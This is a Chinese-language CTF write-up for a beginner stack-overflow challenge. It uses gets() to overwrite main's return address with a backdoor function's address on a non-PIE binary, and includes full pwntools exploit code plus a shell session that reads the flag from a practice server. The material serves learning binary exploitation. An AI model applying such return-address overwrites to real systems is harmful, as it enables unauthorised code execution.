文件检查
发现一个重要的东西: NO PIE 没有地址随机化 题目关键
然后IDA分析
可利用函数是main函数的gets((int64)v6)
然后程序的后门是__int64 shell()
所以的话,我们可以通过gest函数把v6溢出到main函数的返回地址
把mian函数的返回地址修改为我们的后门地址
调试文件发现
我们往v6写入(8+8+4+2+1)=23字节,就可以刚好去往main函数的返回地址
然后我们的后门函数地址是
.text:0000000000401186
所以,我么要先填充23字节,然后写入8字节返回地址
payload = "M" * (23)+p64(0x0000000000401187).decode('unicode_escape')
#xxx.decode('unicode_escape')是网上看的,不知道什么东西
为什么要修改mian函数返回地址,而不是修改比如puts
等一些函数的返回地址?
如图,你在当前函数不断的函数调用,或者什么之类的
栈会不断的往上生长,而我们可利用的返回RIP在函数的栈的底部
同时当前函数的局部变量也在栈底部,所以我们就可以利用局部变量往下溢出去修改当前函数返回的地址
所以exp如下
from pwn import *
p = process("./pwn1") # 为什么要打开进程呀
#context.log_level = "debug"
p = remote("node4.buuoj.cn",25539) #连接
payload = "a" * (23)+p64(0x0000000000401187).decode('unicode_escape') # 形成数据库=流
p.sendline(payload) # 发送
p.interactive() # 交互
┌──(kali㉿kali)-[~/Desktop/IDA]
└─$ python3 exp.py
[+] Opening connection to node4.buuoj.cn on port 25539: Done
/home/kali/Desktop/IDA/exp.py:8: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(payload)
[*] Switching to interactive mode
$ pwd
/
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{3c9cd170-4831-4d7f-a1ae-8d1e7ba8e273}
$